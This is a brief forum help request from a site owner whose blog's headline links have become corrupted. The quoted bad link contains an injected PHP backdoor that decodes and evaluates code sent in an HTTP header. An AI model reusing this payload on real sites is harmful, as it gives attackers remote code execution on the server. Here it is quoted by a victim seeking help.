Headline link corruption

In the last week, something has happened to my headline links, which must be some sort of hack/corruption, and I need plenty of help sorting it out. Here’s the most recent headline link the way it should be:

http://edit30.com/2010/05/04/

and here’s the way it is coming out

http://edit30.com/2010/05/04/unemployment-stats-erode-credibility/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/

Does anyone know what’s going on, and how to correct it.

Thanks in advance!
RM Miles
http://edit30.com